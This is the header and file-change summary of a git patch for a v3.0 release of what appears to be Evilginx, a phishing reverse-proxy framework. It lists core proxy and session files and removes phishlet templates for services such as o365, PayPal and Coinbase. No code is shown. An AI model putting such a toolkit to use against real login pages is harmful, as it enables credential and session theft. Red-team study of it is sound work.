From 1ac3d1027106fb49a416c85756f205567d541824 Mon Sep 17 00:00:00 2001
From: Kuba Gretzky
Date: Wed, 10 May 2023 11:04:32 +0200
Subject: [PATCH] v3.0 release
---
.gitignore | 5 +-
CHANGELOG | 36 +-
Dockerfile | 36 -
LICENSE | 622 +-
Makefile | 13 +-
README.md | 188 +-
build.bat | 4 +
build_run.bat | 4 +
core/banner.go | 6 +-
core/blacklist.go | 24 +-
core/certdb.go | 366 +-
core/config.go | 594 +-
core/http_proxy.go | 594 +-
core/nameserver.go | 90 +-
core/phishlet.go | 451 +-
core/session.go | 86 +-
core/shared.go | 10 +
core/table.go | 4 +-
core/terminal.go | 446 +-
core/utils.go | 29 +
database/database.go | 14 +-
database/db_session.go | 82 +-
go.mod | 54 +-
go.sum | 525 +-
log/log.go | 2 +-
main.go | 53 +-
media/img/evilginx_mastery.jpg | Bin 0 -> 218820 bytes
phishlets/airbnb.yaml | 136 -
phishlets/amazon.yaml | 28 -
phishlets/booking.yaml | 27 -
phishlets/citrix.yaml | 22 -
phishlets/coinbase.yaml | 160 -
phishlets/example.yaml | 20 +
phishlets/facebook.yaml | 54 -
phishlets/github.yaml | 29 -
phishlets/instagram.yaml | 45 -
phishlets/linkedin.yaml | 36 -
phishlets/o365.yaml | 37 -
phishlets/okta.yaml | 23 -
phishlets/onelogin.yaml | 52 -
phishlets/outlook.yaml | 31 -
phishlets/paypal.yaml | 70 -
phishlets/protonmail.yaml | 163 -
phishlets/reddit.yaml | 29 -
phishlets/tiktok.yaml | 95 -
phishlets/twitter-mobile.yaml | 25 -
phishlets/twitter.yaml | 22 -
phishlets/wordpress.org.yaml | 96 -
.../download_example/index.html | 6 +-
.../caddyserver/certmagic/.gitignore | 1 +
.../caddyserver/certmagic/LICENSE.txt | 201 +
.../caddyserver/certmagic/README.md | 526 ++
.../caddyserver/certmagic/account.go | 410 +
.../caddyserver/certmagic/acmeclient.go | 384 +
.../caddyserver/certmagic/acmeissuer.go | 466 +
.../github.com/caddyserver/certmagic/async.go | 187 +
.../github.com/caddyserver/certmagic/cache.go | 364 +
.../caddyserver/certmagic/certificates.go | 429 +
.../caddyserver/certmagic/certmagic.go | 506 ++
.../caddyserver/certmagic/config.go | 1136 +++
.../caddyserver/certmagic/crypto.go | 368 +
.../caddyserver/certmagic/dnsutil.go | 340 +
.../caddyserver/certmagic/filestorage.go | 404 +
.../caddyserver/certmagic/handshake.go | 817 ++
.../caddyserver/certmagic/httphandler.go | 124 +
.../caddyserver/certmagic/maintain.go | 678 ++
.../github.com/caddyserver/certmagic/ocsp.go | 233 +
.../caddyserver/certmagic/ratelimiter.go | 243 +
.../caddyserver/certmagic/solvers.go | 724 ++
.../caddyserver/certmagic/storage.go | 280 +
vendor/github.com/cenkalti/backoff/v3/go.mod | 3 -
vendor/github.com/elazarl/goproxy/README.md | 7 +-
vendor/github.com/elazarl/goproxy/ctx.go | 8 +-
.../github.com/elazarl/goproxy/dispatcher.go | 16 +
vendor/github.com/elazarl/goproxy/doc.go | 4 +-
vendor/github.com/elazarl/goproxy/go.mod | 3 -
vendor/github.com/elazarl/goproxy/go.sum | 3 -
vendor/github.com/elazarl/goproxy/https.go | 101 +-
vendor/github.com/elazarl/goproxy/proxy.go | 55 +-
.../github.com/elazarl/goproxy/websocket.go | 130 +
vendor/github.com/fatih/color/.travis.yml | 5 -
vendor/github.com/fatih/color/Gopkg.lock | 27 -
vendor/github.com/fatih/color/Gopkg.toml | 30 -
vendor/github.com/fatih/color/README.md | 29 +-
vendor/github.com/fatih/color/color.go | 25 +-
vendor/github.com/fatih/color/doc.go | 2 +
.../fsnotify/fsnotify/.editorconfig | 9 +-
.../fsnotify/fsnotify/.gitattributes | 1 +
vendor/github.com/fsnotify/fsnotify/.mailmap | 2 +
.../github.com/fsnotify/fsnotify/.travis.yml | 30 -
vendor/github.com/fsnotify/fsnotify/AUTHORS | 16 +-
.../github.com/fsnotify/fsnotify/CHANGELOG.md | 116 +-
vendor/github.com/fsnotify/fsnotify/LICENSE | 2 +-
vendor/github.com/fsnotify/fsnotify/README.md | 71 +-
vendor/github.com/fsnotify/fsnotify/fen.go | 1 +
.../github.com/fsnotify/fsnotify/fsnotify.go | 5 +-
.../github.com/fsnotify/fsnotify/inotify.go | 3 +-
.../fsnotify/fsnotify/inotify_poller.go | 5 +-
vendor/github.com/fsnotify/fsnotify/kqueue.go | 1 +
.../fsnotify/fsnotify/open_mode_bsd.go | 3 +-
.../fsnotify/fsnotify/open_mode_darwin.go | 3 +-
.../github.com/fsnotify/fsnotify/windows.go | 1 +
.../lego/v3/certificate/authorization.go | 69 -
.../lego/v3/certificate/certificates.go | 522 --
.../go-acme/lego/v3/certificate/errors.go | 30 -
.../go-acme/lego/v3/challenge/dns01/cname.go | 16 -
.../lego/v3/challenge/dns01/dns_challenge.go | 188 -
.../challenge/dns01/dns_challenge_manual.go | 59 -
.../go-acme/lego/v3/challenge/dns01/fqdn.go | 19 -
.../lego/v3/challenge/dns01/nameserver.go | 232 -
.../lego/v3/challenge/dns01/precheck.go | 127 -
.../v3/challenge/http01/domain_matcher.go | 184 -
.../v3/challenge/http01/http_challenge.go | 65 -
.../challenge/http01/http_challenge_server.go | 122 -
.../lego/v3/challenge/resolver/errors.go | 25 -
.../lego/v3/challenge/resolver/prober.go | 173 -
.../v3/challenge/resolver/solver_manager.go | 169 -
.../github.com/go-acme/lego/v3/lego/client.go | 74 -
.../go-acme/lego/v3/lego/client_config.go | 104 -
.../go-acme/lego/v3/platform/wait/wait.go | 33 -
.../go-acme/lego/v3/registration/registar.go | 146 -
.../go-acme/lego/v3/registration/user.go | 13 -
vendor/github.com/gorilla/mux/go.mod | 1 -
vendor/github.com/hashicorp/hcl/go.mod | 3 -
vendor/github.com/hashicorp/hcl/go.sum | 2 -
.../github.com/klauspost/cpuid/v2/.gitignore | 24 +
.../klauspost/cpuid/v2/.goreleaser.yml | 74 +
.../klauspost/cpuid/v2/CONTRIBUTING.txt | 35 +
vendor/github.com/klauspost/cpuid/v2/LICENSE | 22 +
.../github.com/klauspost/cpuid/v2/README.md | 258 +
vendor/github.com/klauspost/cpuid/v2/cpuid.go | 1262 +++
.../github.com/klauspost/cpuid/v2/cpuid_386.s | 47 +
.../klauspost/cpuid/v2/cpuid_amd64.s | 72 +
.../klauspost/cpuid/v2/cpuid_arm64.s | 26 +
.../klauspost/cpuid/v2/detect_arm64.go | 247 +
.../klauspost/cpuid/v2/detect_ref.go | 15 +
.../klauspost/cpuid/v2/detect_x86.go | 36 +
.../klauspost/cpuid/v2/featureid_string.go | 233 +
.../klauspost/cpuid/v2/os_darwin_arm64.go | 121 +
.../klauspost/cpuid/v2/os_linux_arm64.go | 130 +
.../klauspost/cpuid/v2/os_other_arm64.go | 16 +
.../klauspost/cpuid/v2/os_safe_linux_arm64.go | 8 +
.../cpuid/v2/os_unsafe_linux_arm64.go | 11 +
.../klauspost/cpuid/v2/test-architectures.sh | 15 +
vendor/github.com/libdns/libdns/.gitignore | 1 +
vendor/github.com/libdns/libdns/LICENSE | 21 +
vendor/github.com/libdns/libdns/README.md | 87 +
vendor/github.com/libdns/libdns/libdns.go | 129 +
.../magiconair/properties/.travis.yml | 7 +
.../magiconair/properties/CHANGELOG.md | 29 +
.../properties/{LICENSE => LICENSE.md} | 9 +-
.../magiconair/properties/README.md | 3 +-
.../github.com/magiconair/properties/lex.go | 12 -
.../github.com/magiconair/properties/load.go | 7 +-
.../magiconair/properties/parser.go | 9 -
.../magiconair/properties/properties.go | 32 +-
.../github.com/mattn/go-colorable/.travis.yml | 9 -
.../github.com/mattn/go-colorable/README.md | 6 +-
.../mattn/go-colorable/colorable_appengine.go | 9 +
.../mattn/go-colorable/colorable_others.go | 12 +-
.../mattn/go-colorable/colorable_windows.go | 70 +-
vendor/github.com/mattn/go-colorable/go.mod | 3 -
vendor/github.com/mattn/go-colorable/go.sum | 4 -
.../github.com/mattn/go-colorable/go.test.sh | 12 +
.../mattn/go-colorable/noncolorable.go | 12 +-
vendor/github.com/mattn/go-isatty/.travis.yml | 13 -
vendor/github.com/mattn/go-isatty/README.md | 2 +-
vendor/github.com/mattn/go-isatty/go.mod | 3 -
vendor/github.com/mattn/go-isatty/go.sum | 2 -
vendor/github.com/mattn/go-isatty/go.test.sh | 12 +
.../mattn/go-isatty/isatty_android.go | 23 -
.../github.com/mattn/go-isatty/isatty_bsd.go | 13 +-
.../mattn/go-isatty/isatty_others.go | 3 +-
.../mattn/go-isatty/isatty_plan9.go | 23 +
.../mattn/go-isatty/isatty_solaris.go | 9 +-
.../mattn/go-isatty/isatty_tcgets.go | 4 +-
.../mattn/go-isatty/isatty_windows.go | 43 +-
vendor/github.com/mholt/acmez/.gitignore | 1 +
vendor/github.com/mholt/acmez/LICENSE | 201 +
vendor/github.com/mholt/acmez/README.md | 59 +
vendor/github.com/mholt/acmez/THIRD-PARTY | 37 +
vendor/github.com/mholt/acmez/acme/account.go | 249 +
.../mholt/acmez/acme/authorization.go | 283 +
.../mholt/acmez/acme/certificate.go | 165 +
.../github.com/mholt/acmez/acme/challenge.go | 133 +
vendor/github.com/mholt/acmez/acme/client.go | 240 +
vendor/github.com/mholt/acmez/acme/http.go | 393 +
vendor/github.com/mholt/acmez/acme/jws.go | 263 +
vendor/github.com/mholt/acmez/acme/order.go | 256 +
vendor/github.com/mholt/acmez/acme/problem.go | 174 +
vendor/github.com/mholt/acmez/client.go | 678 ++
vendor/github.com/mholt/acmez/solver.go | 72 +
vendor/github.com/mholt/acmez/tlsalpn01.go | 98 +
vendor/github.com/miekg/dns/.travis.yml | 16 -
vendor/github.com/miekg/dns/CODEOWNERS | 1 +
vendor/github.com/miekg/dns/LICENSE | 6 +-
vendor/github.com/miekg/dns/Makefile.release | 2 +-
vendor/github.com/miekg/dns/README.md | 28 +-
vendor/github.com/miekg/dns/acceptfunc.go | 18 +-
vendor/github.com/miekg/dns/client.go | 173 +-
vendor/github.com/miekg/dns/defaults.go | 20 +-
vendor/github.com/miekg/dns/dns.go | 30 +-
vendor/github.com/miekg/dns/dnssec.go | 167 +-
vendor/github.com/miekg/dns/dnssec_keygen.go | 7 +-
vendor/github.com/miekg/dns/dnssec_keyscan.go | 21 +-
vendor/github.com/miekg/dns/dnssec_privkey.go | 23 +-
vendor/github.com/miekg/dns/doc.go | 47 +-
vendor/github.com/miekg/dns/duplicate.go | 5 +-
.../miekg/dns/duplicate_generate.go | 144 -
vendor/github.com/miekg/dns/edns.go | 284 +-
vendor/github.com/miekg/dns/fuzz.go | 11 +-
vendor/github.com/miekg/dns/generate.go | 25 +-
vendor/github.com/miekg/dns/go.mod | 12 -
vendor/github.com/miekg/dns/go.sum | 33 -
vendor/github.com/miekg/dns/hash.go | 31 +
vendor/github.com/miekg/dns/labels.go | 64 +-
...en_go_not111.go => listen_no_reuseport.go} | 0
.../{listen_go111.go => listen_reuseport.go} | 0
vendor/github.com/miekg/dns/msg.go | 95 +-
vendor/github.com/miekg/dns/msg_generate.go | 328 -
vendor/github.com/miekg/dns/msg_helpers.go | 289 +-
vendor/github.com/miekg/dns/msg_truncate.go | 18 +-
vendor/github.com/miekg/dns/nsecx.go | 2 +-
vendor/github.com/miekg/dns/privaterr.go | 5 +-
vendor/github.com/miekg/dns/scan.go | 174 +-
vendor/github.com/miekg/dns/scan_rr.go | 400 +-
vendor/github.com/miekg/dns/serve_mux.go | 11 +-
vendor/github.com/miekg/dns/server.go | 156 +-
vendor/github.com/miekg/dns/sig0.go | 69 +-
vendor/github.com/miekg/dns/svcb.go | 935 ++
vendor/github.com/miekg/dns/tools.go | 9 +
vendor/github.com/miekg/dns/tsig.go | 213 +-
vendor/github.com/miekg/dns/types.go | 215 +-
vendor/github.com/miekg/dns/types_generate.go | 285 -
vendor/github.com/miekg/dns/update.go | 4 +-
vendor/github.com/miekg/dns/version.go | 8 +-
vendor/github.com/miekg/dns/xfr.go | 40 +-
vendor/github.com/miekg/dns/zduplicate.go | 200 +
vendor/github.com/miekg/dns/zmsg.go | 153 +
vendor/github.com/miekg/dns/ztypes.go | 71 +
.../mitchellh/mapstructure/.travis.yml | 8 -
.../mitchellh/mapstructure/CHANGELOG.md | 62 +
.../mitchellh/mapstructure/decode_hooks.go | 72 +-
.../github.com/mitchellh/mapstructure/go.mod | 1 -
.../mitchellh/mapstructure/mapstructure.go | 486 +-
.../pelletier/go-toml/.dockerignore | 2 +
.../github.com/pelletier/go-toml/.gitignore | 3 +
.../github.com/pelletier/go-toml/.travis.yml | 23 -
.../pelletier/go-toml/CONTRIBUTING.md | 132 +
.../github.com/pelletier/go-toml/Dockerfile | 11 +
vendor/github.com/pelletier/go-toml/LICENSE | 228 +-
vendor/github.com/pelletier/go-toml/Makefile | 29 +
.../go-toml/PULL_REQUEST_TEMPLATE.md | 5 +
vendor/github.com/pelletier/go-toml/README.md | 79 +-
.../pelletier/go-toml/azure-pipelines.yml | 188 +
.../pelletier/go-toml/benchmark.json | 164 -
.../github.com/pelletier/go-toml/benchmark.sh | 9 +-
.../pelletier/go-toml/benchmark.toml | 244 -
.../pelletier/go-toml/benchmark.yml | 121 -
vendor/github.com/pelletier/go-toml/doc.go | 2 +-
.../pelletier/go-toml/example-crlf.toml | 1 +
.../github.com/pelletier/go-toml/example.toml | 1 +
.../pelletier/go-toml/keysparsing.go | 139 +-
vendor/github.com/pelletier/go-toml/lexer.go | 409 +-
.../github.com/pelletier/go-toml/localtime.go | 287 +
.../github.com/pelletier/go-toml/marshal.go | 915 +-
.../go-toml/marshal_OrderPreserve_test.toml | 39 +
.../pelletier/go-toml/marshal_test.toml | 1 +
vendor/github.com/pelletier/go-toml/parser.go | 142 +-
vendor/github.com/pelletier/go-toml/test.sh | 88 -
vendor/github.com/pelletier/go-toml/token.go | 26 +-
vendor/github.com/pelletier/go-toml/toml.go | 260 +-
.../github.com/pelletier/go-toml/tomlpub.go | 71 +
.../pelletier/go-toml/tomltree_create.go | 13 +
.../pelletier/go-toml/tomltree_write.go | 401 +-
.../pelletier/go-toml/tomltree_writepub.go | 6 +
vendor/github.com/spf13/afero/.gitignore | 2 +
vendor/github.com/spf13/afero/.travis.yml | 15 +-
vendor/github.com/spf13/afero/README.md | 58 +-
vendor/github.com/spf13/afero/afero.go | 5 +-
vendor/github.com/spf13/afero/appveyor.yml | 4 +-
vendor/github.com/spf13/afero/basepath.go | 33 +-
.../github.com/spf13/afero/cacheOnReadFs.go | 27 +-
vendor/github.com/spf13/afero/const_bsds.go | 2 +-
.../github.com/spf13/afero/const_win_unix.go | 1 +
.../github.com/spf13/afero/copyOnWriteFs.go | 40 +-
vendor/github.com/spf13/afero/go.mod | 1 -
vendor/github.com/spf13/afero/httpFs.go | 4 +
vendor/github.com/spf13/afero/iofs.go | 288 +
vendor/github.com/spf13/afero/ioutil.go | 32 +-
vendor/github.com/spf13/afero/match.go | 2 +-
vendor/github.com/spf13/afero/mem/file.go | 41 +-
vendor/github.com/spf13/afero/memmap.go | 75 +-
vendor/github.com/spf13/afero/os.go | 12 +
vendor/github.com/spf13/afero/readonlyfs.go | 16 +
vendor/github.com/spf13/afero/regexpfs.go | 10 +
vendor/github.com/spf13/afero/symlink.go | 55 +
vendor/github.com/spf13/afero/unionFile.go | 48 +-
vendor/github.com/spf13/cast/.travis.yml | 15 -
vendor/github.com/spf13/cast/Makefile | 4 +-
vendor/github.com/spf13/cast/README.md | 2 +-
vendor/github.com/spf13/cast/cast.go | 5 +
vendor/github.com/spf13/cast/caste.go | 158 +-
vendor/github.com/spf13/cast/go.mod | 7 -
vendor/github.com/spf13/cast/go.sum | 6 -
.../spf13/cast/timeformattype_string.go | 27 +
.../spf13/jwalterweatherman/.gitignore | 2 +
.../jwalterweatherman/default_notepad.go | 30 +-
.../github.com/spf13/jwalterweatherman/go.mod | 1 -
.../spf13/jwalterweatherman/log_counter.go | 51 +-
.../spf13/jwalterweatherman/notepad.go | 57 +-
vendor/github.com/spf13/pflag/.travis.yml | 7 +-
vendor/github.com/spf13/pflag/README.md | 4 +-
vendor/github.com/spf13/pflag/bool_slice.go | 38 +
vendor/github.com/spf13/pflag/count.go | 4 +-
.../github.com/spf13/pflag/duration_slice.go | 38 +
vendor/github.com/spf13/pflag/flag.go | 16 +-
.../github.com/spf13/pflag/float32_slice.go | 174 +
.../github.com/spf13/pflag/float64_slice.go | 166 +
vendor/github.com/spf13/pflag/int32_slice.go | 174 +
vendor/github.com/spf13/pflag/int64_slice.go | 166 +
vendor/github.com/spf13/pflag/int_slice.go | 30 +
vendor/github.com/spf13/pflag/ip_slice.go | 40 +-
vendor/github.com/spf13/pflag/string_array.go | 26 +
vendor/github.com/spf13/pflag/string_slice.go | 22 +-
.../github.com/spf13/pflag/string_to_int64.go | 149 +
vendor/github.com/spf13/pflag/uint_slice.go | 42 +
vendor/github.com/spf13/viper/.editorconfig | 15 +
vendor/github.com/spf13/viper/.gitignore | 34 +-
vendor/github.com/spf13/viper/.golangci.yml | 93 +
vendor/github.com/spf13/viper/.travis.yml | 31 -
vendor/github.com/spf13/viper/Makefile | 76 +
vendor/github.com/spf13/viper/README.md | 371 +-
.../github.com/spf13/viper/TROUBLESHOOTING.md | 23 +
vendor/github.com/spf13/viper/flags.go | 2 +-
vendor/github.com/spf13/viper/fs.go | 65 +
vendor/github.com/spf13/viper/go.mod | 43 -
vendor/github.com/spf13/viper/go.sum | 178 -
.../spf13/viper/internal/encoding/decoder.go | 61 +
.../spf13/viper/internal/encoding/encoder.go | 60 +
.../spf13/viper/internal/encoding/error.go | 7 +
.../viper/internal/encoding/hcl/codec.go | 40 +
.../viper/internal/encoding/json/codec.go | 17 +
.../viper/internal/encoding/toml/codec.go | 45 +
.../viper/internal/encoding/yaml/codec.go | 14 +
vendor/github.com/spf13/viper/logger.go | 77 +
vendor/github.com/spf13/viper/util.go | 29 +-
vendor/github.com/spf13/viper/viper.go | 745 +-
vendor/github.com/spf13/viper/viper_go1_15.go | 57 +
vendor/github.com/spf13/viper/viper_go1_16.go | 32 +
vendor/github.com/spf13/viper/watch.go | 12 +
vendor/github.com/spf13/viper/watch_wasm.go | 30 +
vendor/github.com/subosito/gotenv/.env | 1 +
.../github.com/subosito/gotenv/.env.invalid | 1 +
vendor/github.com/subosito/gotenv/.gitignore | 3 +
vendor/github.com/subosito/gotenv/.travis.yml | 10 +
.../github.com/subosito/gotenv/CHANGELOG.md | 47 +
vendor/github.com/subosito/gotenv/LICENSE | 21 +
vendor/github.com/subosito/gotenv/README.md | 131 +
.../github.com/subosito/gotenv/appveyor.yml | 9 +
vendor/github.com/subosito/gotenv/gotenv.go | 265 +
vendor/github.com/tidwall/gjson/.travis.yml | 1 -
vendor/github.com/tidwall/gjson/README.md | 68 +-
vendor/github.com/tidwall/gjson/SYNTAX.md | 94 +-
vendor/github.com/tidwall/gjson/gjson.go | 1344 ++-
vendor/github.com/tidwall/gjson/gjson_gae.go | 18 -
vendor/github.com/tidwall/gjson/gjson_ngae.go | 81 -
vendor/github.com/tidwall/gjson/go.mod | 8 -
vendor/github.com/tidwall/gjson/go.sum | 4 -
vendor/github.com/tidwall/match/.travis.yml | 1 -
vendor/github.com/tidwall/match/README.md | 21 +-
vendor/github.com/tidwall/match/match.go | 240 +-
vendor/github.com/tidwall/pretty/.travis.yml | 1 -
vendor/github.com/tidwall/pretty/README.md | 18 +-
vendor/github.com/tidwall/pretty/pretty.go | 302 +-
vendor/go.uber.org/atomic/.codecov.yml | 19 +
vendor/go.uber.org/atomic/.gitignore | 15 +
vendor/go.uber.org/atomic/CHANGELOG.md | 100 +
vendor/go.uber.org/atomic/LICENSE.txt | 19 +
vendor/go.uber.org/atomic/Makefile | 79 +
vendor/go.uber.org/atomic/README.md | 63 +
vendor/go.uber.org/atomic/bool.go | 81 +
vendor/go.uber.org/atomic/bool_ext.go | 53 +
vendor/go.uber.org/atomic/doc.go | 23 +
vendor/go.uber.org/atomic/duration.go | 82 +
vendor/go.uber.org/atomic/duration_ext.go | 40 +
vendor/go.uber.org/atomic/error.go | 51 +
vendor/go.uber.org/atomic/error_ext.go | 39 +
vendor/go.uber.org/atomic/float64.go | 77 +
vendor/go.uber.org/atomic/float64_ext.go | 69 +
vendor/go.uber.org/atomic/gen.go | 27 +
vendor/go.uber.org/atomic/int32.go | 102 +
vendor/go.uber.org/atomic/int64.go | 102 +
vendor/go.uber.org/atomic/nocmp.go | 35 +
vendor/go.uber.org/atomic/string.go | 54 +
vendor/go.uber.org/atomic/string_ext.go | 45 +
vendor/go.uber.org/atomic/time.go | 55 +
vendor/go.uber.org/atomic/time_ext.go | 36 +
vendor/go.uber.org/atomic/uint32.go | 102 +
vendor/go.uber.org/atomic/uint64.go | 102 +
vendor/go.uber.org/atomic/uintptr.go | 102 +
vendor/go.uber.org/atomic/unsafe_pointer.go | 58 +
vendor/go.uber.org/atomic/value.go | 31 +
vendor/go.uber.org/multierr/.codecov.yml | 15 +
vendor/go.uber.org/multierr/.gitignore | 4 +
vendor/go.uber.org/multierr/CHANGELOG.md | 72 +
vendor/go.uber.org/multierr/LICENSE.txt | 19 +
vendor/go.uber.org/multierr/Makefile | 38 +
vendor/go.uber.org/multierr/README.md | 23 +
vendor/go.uber.org/multierr/error.go | 652 ++
vendor/go.uber.org/multierr/glide.yaml | 8 +
vendor/go.uber.org/zap/.codecov.yml | 17 +
vendor/go.uber.org/zap/.gitignore | 32 +
vendor/go.uber.org/zap/.readme.tmpl | 109 +
vendor/go.uber.org/zap/CHANGELOG.md | 564 ++
vendor/go.uber.org/zap/CODE_OF_CONDUCT.md | 75 +
vendor/go.uber.org/zap/CONTRIBUTING.md | 75 +
vendor/go.uber.org/zap/FAQ.md | 164 +
vendor/go.uber.org/zap/LICENSE.txt | 19 +
vendor/go.uber.org/zap/Makefile | 73 +
vendor/go.uber.org/zap/README.md | 134 +
vendor/go.uber.org/zap/array.go | 320 +
vendor/go.uber.org/zap/buffer/buffer.go | 141 +
vendor/go.uber.org/zap/buffer/pool.go | 49 +
vendor/go.uber.org/zap/checklicense.sh | 17 +
vendor/go.uber.org/zap/config.go | 264 +
vendor/go.uber.org/zap/doc.go | 113 +
vendor/go.uber.org/zap/encoder.go | 79 +
vendor/go.uber.org/zap/error.go | 80 +
vendor/go.uber.org/zap/field.go | 549 ++
vendor/go.uber.org/zap/flag.go | 39 +
vendor/go.uber.org/zap/glide.yaml | 34 +
vendor/go.uber.org/zap/global.go | 169 +
vendor/go.uber.org/zap/http_handler.go | 132 +
.../zap/internal/bufferpool/bufferpool.go | 31 +
.../go.uber.org/zap/internal/color/color.go | 44 +
vendor/go.uber.org/zap/internal/exit/exit.go | 64 +
vendor/go.uber.org/zap/level.go | 149 +
vendor/go.uber.org/zap/logger.go | 363 +
vendor/go.uber.org/zap/options.go | 148 +
vendor/go.uber.org/zap/sink.go | 161 +
vendor/go.uber.org/zap/stacktrace.go | 176 +
vendor/go.uber.org/zap/sugar.go | 315 +
vendor/go.uber.org/zap/time.go | 27 +
vendor/go.uber.org/zap/writer.go | 99 +
.../zap/zapcore/buffered_write_syncer.go | 188 +
vendor/go.uber.org/zap/zapcore/clock.go | 48 +
.../zap/zapcore/console_encoder.go | 157 +
vendor/go.uber.org/zap/zapcore/core.go | 113 +
vendor/go.uber.org/zap/zapcore/doc.go | 24 +
vendor/go.uber.org/zap/zapcore/encoder.go | 448 +
vendor/go.uber.org/zap/zapcore/entry.go | 262 +
vendor/go.uber.org/zap/zapcore/error.go | 132 +
vendor/go.uber.org/zap/zapcore/field.go | 233 +
vendor/go.uber.org/zap/zapcore/hook.go | 68 +
.../go.uber.org/zap/zapcore/increase_level.go | 66 +
.../go.uber.org/zap/zapcore/json_encoder.go | 560 ++
vendor/go.uber.org/zap/zapcore/level.go | 187 +
.../go.uber.org/zap/zapcore/level_strings.go | 46 +
vendor/go.uber.org/zap/zapcore/marshaler.go | 61 +
.../go.uber.org/zap/zapcore/memory_encoder.go | 179 +
.../zap/zapcore/reflected_encoder.go | 41 +
vendor/go.uber.org/zap/zapcore/sampler.go | 221 +
vendor/go.uber.org/zap/zapcore/tee.go | 81 +
.../go.uber.org/zap/zapcore/write_syncer.go | 122 +
vendor/golang.org/x/crypto/AUTHORS | 3 -
vendor/golang.org/x/crypto/CONTRIBUTORS | 3 -
vendor/golang.org/x/crypto/ed25519/ed25519.go | 187 +-
.../x/crypto/ed25519/ed25519_go113.go | 73 -
.../ed25519/internal/edwards25519/const.go | 1422 ---
.../internal/edwards25519/edwards25519.go | 1793 ----
vendor/golang.org/x/crypto/ocsp/ocsp.go | 34 +-
vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go | 2 +-
vendor/golang.org/x/mod/LICENSE | 27 +
vendor/golang.org/x/mod/PATENTS | 22 +
vendor/golang.org/x/mod/semver/semver.go | 401 +
vendor/golang.org/x/net/AUTHORS | 3 -
vendor/golang.org/x/net/CONTRIBUTORS | 3 -
vendor/golang.org/x/net/bpf/doc.go | 6 +-
vendor/golang.org/x/net/idna/go118.go | 14 +
vendor/golang.org/x/net/idna/idna10.0.0.go | 118 +-
vendor/golang.org/x/net/idna/idna9.0.0.go | 98 +-
vendor/golang.org/x/net/idna/pre_go118.go | 12 +
vendor/golang.org/x/net/idna/punycode.go | 36 +-
vendor/golang.org/x/net/idna/tables10.0.0.go | 1 +
vendor/golang.org/x/net/idna/tables11.0.0.go | 1 +
.../idna/{tables12.00.go => tables12.0.0.go} | 3 +-
vendor/golang.org/x/net/idna/tables13.0.0.go | 4840 ++++++++++
vendor/golang.org/x/net/idna/tables9.0.0.go | 1 +
vendor/golang.org/x/net/idna/trieval.go | 34 +-
vendor/golang.org/x/net/internal/iana/gen.go | 383 -
.../x/net/internal/socket/cmsghdr.go | 3 +-
.../x/net/internal/socket/cmsghdr_bsd.go | 1 +
.../internal/socket/cmsghdr_linux_32bit.go | 3 +-
.../internal/socket/cmsghdr_linux_64bit.go | 3 +-
.../internal/socket/cmsghdr_solaris_64bit.go | 4 +-
.../x/net/internal/socket/cmsghdr_stub.go | 17 +-
.../x/net/internal/socket/cmsghdr_unix.go | 22 +
.../net/internal/socket/cmsghdr_zos_s390x.go | 11 +
.../net/internal/socket/complete_dontwait.go | 26 +
.../internal/socket/complete_nodontwait.go | 22 +
.../x/net/internal/socket/defs_aix.go | 38 -
.../x/net/internal/socket/defs_darwin.go | 36 -
.../x/net/internal/socket/defs_dragonfly.go | 36 -
.../x/net/internal/socket/defs_freebsd.go | 36 -
.../x/net/internal/socket/defs_linux.go | 40 -
.../x/net/internal/socket/defs_netbsd.go | 38 -
.../x/net/internal/socket/defs_openbsd.go | 36 -
.../x/net/internal/socket/defs_solaris.go | 36 -
.../golang.org/x/net/internal/socket/empty.s | 1 +
.../x/net/internal/socket/error_unix.go | 3 +-
.../x/net/internal/socket/iovec_32bit.go | 3 +-
.../x/net/internal/socket/iovec_64bit.go | 5 +-
.../internal/socket/iovec_solaris_64bit.go | 4 +-
.../x/net/internal/socket/iovec_stub.go | 3 +-
.../x/net/internal/socket/mmsghdr_stub.go | 1 +
.../x/net/internal/socket/mmsghdr_unix.go | 170 +-
.../x/net/internal/socket/msghdr_bsd.go | 1 +
.../x/net/internal/socket/msghdr_bsdvar.go | 1 +
.../x/net/internal/socket/msghdr_linux.go | 3 +
.../net/internal/socket/msghdr_linux_32bit.go | 3 +-
.../net/internal/socket/msghdr_linux_64bit.go | 3 +-
.../internal/socket/msghdr_solaris_64bit.go | 4 +-
.../x/net/internal/socket/msghdr_stub.go | 3 +-
.../x/net/internal/socket/msghdr_zos_s390x.go | 36 +
.../x/net/internal/socket/norace.go | 1 +
.../golang.org/x/net/internal/socket/race.go | 1 +
.../x/net/internal/socket/rawconn.go | 33 +-
.../x/net/internal/socket/rawconn_mmsg.go | 49 +-
.../x/net/internal/socket/rawconn_msg.go | 60 +-
.../x/net/internal/socket/rawconn_nommsg.go | 1 +
.../x/net/internal/socket/rawconn_nomsg.go | 3 +-
.../x/net/internal/socket/socket.go | 10 +-
.../golang.org/x/net/internal/socket/sys.go | 14 +-
.../x/net/internal/socket/sys_bsd.go | 3 +-
.../x/net/internal/socket/sys_bsdvar.go | 23 -
.../x/net/internal/socket/sys_const_unix.go | 6 +-
.../x/net/internal/socket/sys_dragonfly.go | 32 -
.../net/internal/socket/sys_go1_11_darwin.go | 33 -
.../x/net/internal/socket/sys_linkname.go | 42 -
.../x/net/internal/socket/sys_linux.go | 6 +-
.../x/net/internal/socket/sys_linux_386.go | 31 +-
.../net/internal/socket/sys_linux_loong64.go | 13 +
.../{sys_darwin.go => sys_linux_ppc.go} | 7 +-
.../net/internal/socket/sys_linux_riscv64.go | 1 +
.../x/net/internal/socket/sys_linux_s390x.go | 31 +-
.../x/net/internal/socket/sys_posix.go | 30 +-
.../x/net/internal/socket/sys_solaris.go | 70 -
.../x/net/internal/socket/sys_solaris_amd64.s | 11 -
.../x/net/internal/socket/sys_stub.go | 28 +-
.../x/net/internal/socket/sys_unix.go | 113 +-
.../x/net/internal/socket/sys_windows.go | 26 +-
.../x/net/internal/socket/sys_zos_s390x.go | 65 +
.../x/net/internal/socket/sys_zos_s390x.s | 11 +
.../x/net/internal/socket/zsys_aix_ppc64.go | 26 +-
.../x/net/internal/socket/zsys_darwin_386.go | 51 -
.../net/internal/socket/zsys_darwin_amd64.go | 25 +-
.../x/net/internal/socket/zsys_darwin_arm.go | 51 -
.../net/internal/socket/zsys_darwin_arm64.go | 25 +-
.../internal/socket/zsys_dragonfly_amd64.go | 25 +-
.../x/net/internal/socket/zsys_freebsd_386.go | 25 +-
.../net/internal/socket/zsys_freebsd_amd64.go | 25 +-
.../x/net/internal/socket/zsys_freebsd_arm.go | 25 +-
